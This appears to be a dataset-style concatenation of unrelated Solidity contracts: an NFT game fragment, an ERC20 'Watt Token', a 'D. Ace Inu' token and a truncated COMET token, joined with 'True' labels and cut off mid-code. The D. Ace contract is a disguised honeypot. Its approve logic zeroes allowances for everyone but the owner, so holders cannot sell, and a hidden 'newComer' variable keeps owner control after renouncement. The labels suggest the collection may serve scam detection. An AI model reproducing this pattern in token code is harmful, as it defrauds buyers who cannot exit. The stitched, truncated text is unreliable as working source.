currentUserReward[_msgSender()] -= amount;
} else {
uint256 currReward = currentUserReward[_msgSender()];
currentUserReward[_msgSender()] = 0;
erc20token.burn(_msgSender(), amount - currReward);
}
}
function breed() external {
require(numberOfGenesisOwned[_msgSender()] >= 2, "41");
_payerc20(breedingPrice);
uint256 newTokenId = _mintNewToken(
_msgSender(),
startGen2Index + totalNumberOfGen2Tokens,
true, // egg
false, // og
false, // genesis
false, // legendary
false // summonedLegendary
);
emit Breed(_msgSender(), newTokenId);
}
function summonLegendary(uint256 tokenId) external {
require(ownerOf(tokenId) == _msgSender(), "51");
TokenAttributes storage token = tokenAttributes[tokenId];
require(token.isGenesis == true, "52");
require(token.summonedNewLegendary == false, "53");
require(token.isLegendary == true, "54");
token.summonedNewLegendary = true;
_payerc20(breedingLegendaryPrice);
uint256 newTokenId = _mintNewToken(
_msgSender(),
startGen2Index + totalNumberOfGen2Tokens,
false, // egg
false, // og
false, // genesis
true, // legendary
false // summonedLegendary
);
emit SummonLegendary(_msgSender(), newTokenId, tokenId);
}
function reveal(uint256 tokenId) external {
require(ownerOf(tokenId) == _msgSender(), "61");
TokenAttributes storage token = tokenAttributes[tokenId];
require(token.isEgg == true, "62");
require(block.timestamp >= revealBeginTimestamp, "63");
token.isEgg = false;
emit Reveal(tokenId);
}
function isValidName(string memory name) public pure returns(bool) {
bytes memory b = bytes(name);
if(b.length < 1) return false;
if(b.length > 30) return false;
for(uint i; i<b.length; i++){
bytes1 char = b[i];
if(
!(char >= 0x41 && char <= 0x5A) && //A-Z
!(char >= 0x61 && char <= 0x7A) //a-z
)
return false;
}
return true;
}
function _isNameUsed(string memory name) internal view returns(bool) {
return _nameUsed[toLower(name)];
}
function _setUsedNameName(string memory name, bool flag) internal {
_nameUsed[toLower(name)] = flag;
}
function changeName(uint256 tokenId, string memory newName) external {
require(ownerOf(tokenId) == _msgSender(), "71");
require(tokenAttributes[tokenId].isEgg == false, "72");
require(isValidName(newName), "73");
require(_isNameUsed(newName) == false, "75");
_payerc20(changeNamePrice);
_setUsedNameName(tokenAttributes[tokenId].name, false);
_setUsedNameName(newName, true);
tokenAttributes[tokenId].name = newName;
emit ChangeName(tokenId, newName);
}
function changeDescription(uint256 tokenId, string memory newDescription) external {
require(ownerOf(tokenId) == _msgSender(), "81");
require(tokenAttributes[tokenId].isEgg == false, "82");
tokenAttributes[tokenId].description = newDescription;
_payerc20(changeDescriptionPrice);
emit ChangeDescription(tokenId, newDescription);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
return super.supportsInterface(interfaceId);
}
function uintToStr(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k-1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function contractURI() public view returns (string memory) {
return _contractURI;
}
function setContractURI(string memory contractURI_) external onlyOwner {
_contractURI = contractURI_;
}
function toLower(string memory str) internal pure returns (string memory){
bytes memory bStr = bytes(str);
bytes memory bLower = new bytes(bStr.length);
for (uint i = 0; i < bStr.length; i++) {
// Uppercase character
if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) {
bLower[i] = bytes1(uint8(bStr[i]) + 32);
} else {
bLower[i] = bStr[i];
}
}
return string(bLower);
}
function withdrawETH(address payable toAddress, uint256 amount) external onlyOwner {
toAddress.transfer(amount);
}
function withdrawERC20(IERC20 token, address toAddress, uint256 amount) external onlyOwner {
token.transfer(toAddress, amount);
}
function withdrawERC721(IERC721 token, address toAddress, uint256 tokenId) external onlyOwner {
token.transferFrom(_proxyContractAddress, toAddress, tokenId);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
pragma solidity 0.6.12;
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the ERC token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-ERC20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the ERC token owner.
*/
function getOwner() external override view returns (address) {
return owner();
}
/**
* @dev Returns the token name.
*/
function name() public override view returns (string memory) {
return _name;
}
/**
* @dev Returns the token decimals.
*/
function decimals() public override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() public override view returns (string memory) {
return _symbol;
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance')
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'ERC20: decreased allowance below zero')
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'ERC20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'ERC20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'ERC20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'ERC20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'ERC20: burn amount exceeds allowance')
);
}
}
contract WattToken is ERC20('Watt Token', 'WATT') {
uint256 public initialSupply = 500000000 * 10 ** 18;
constructor() public {
_mint(msg.sender, initialSupply);
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (NFT trading managenent contract).
function Mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
_mint(_to, _amount);
return true;
}
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/**
*Submitted for verification at Etherscan.io on 2021-11-26
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract DAce is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**12* 10**18;
string private _name = 'D. Ace Inu ' ;
string private _symbol = 'D. Ace';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
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pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract COMET is ERC20Interface, SafeMath {
string public name;
string public symbol;
